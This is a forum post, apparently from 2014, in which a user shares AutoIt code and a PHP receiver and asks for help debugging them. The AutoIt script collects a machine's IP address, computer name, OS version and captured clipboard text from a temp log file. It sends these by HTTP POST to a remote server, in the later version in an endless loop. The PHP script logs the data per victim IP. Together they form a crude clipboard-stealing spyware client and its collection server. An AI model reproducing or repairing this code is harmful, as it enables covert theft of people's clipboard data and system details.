Jan 26, 2014 01:32 PM
(This post was last modified: Jan 26, 2014 02:09 PM by topLevel.)
Code
$ip = @IPAddress1
$name = @ComputerName
$os = @OSVersion
$file = "file.log"
$infoss = FileOpen($file)
$infos = FileRead($infoss)
;Info Gathering
$serverdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & 'clpbrd=' & $infos
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", "------------urltoserver.php------------------", False)
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
$oHTTP.Send($serverdata)
FileClose($infos)This is my Autoit
Now The Sever.php
Code
<?php
#receive data
$ip = $_POST['ip'];
$os = $POST['os'];
$name = $_POST['computer'].PHP_EOL;
$clpbrd = $_POST['clpbrd'].PHP_EOL;
$ipname = "".$ip.".txt";
$ccTime = date(Time);
$cTime = $ccTime.PHP_EOL;
$fc = fopen($ipname, 'a');
fwrite($fc, 'IP:'.$ip.':OS:'.$os.':COMPUTER NAME:'.$name.':TEXT:'.$clpbrd.':TIME:'.$cTime);
fclose($fc);
?>The resulting data
Code
IP:0.0.0.0:OS::COMPUTER NAME:J-PC
:TEXT:
:TIME:CET2401Europe/BerlinIt all works BUT the file contents WTF??
thanks for any help
OK resolved that issue :S:S
but now i have another?
Code
While 1
$ip = @IPAddress1
$name = @ComputerName
$os = @OSVersion
$infozname = @TempDir & "\clip.log"
$infoz = FileOpen($infozname)
$clbdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & '&clpbrd=' & $infoz
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", "------/server.php", False)
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
$oHTTP.Send($clbdata)
FileClose($infoz)
Wendthe info doesnt get sent?

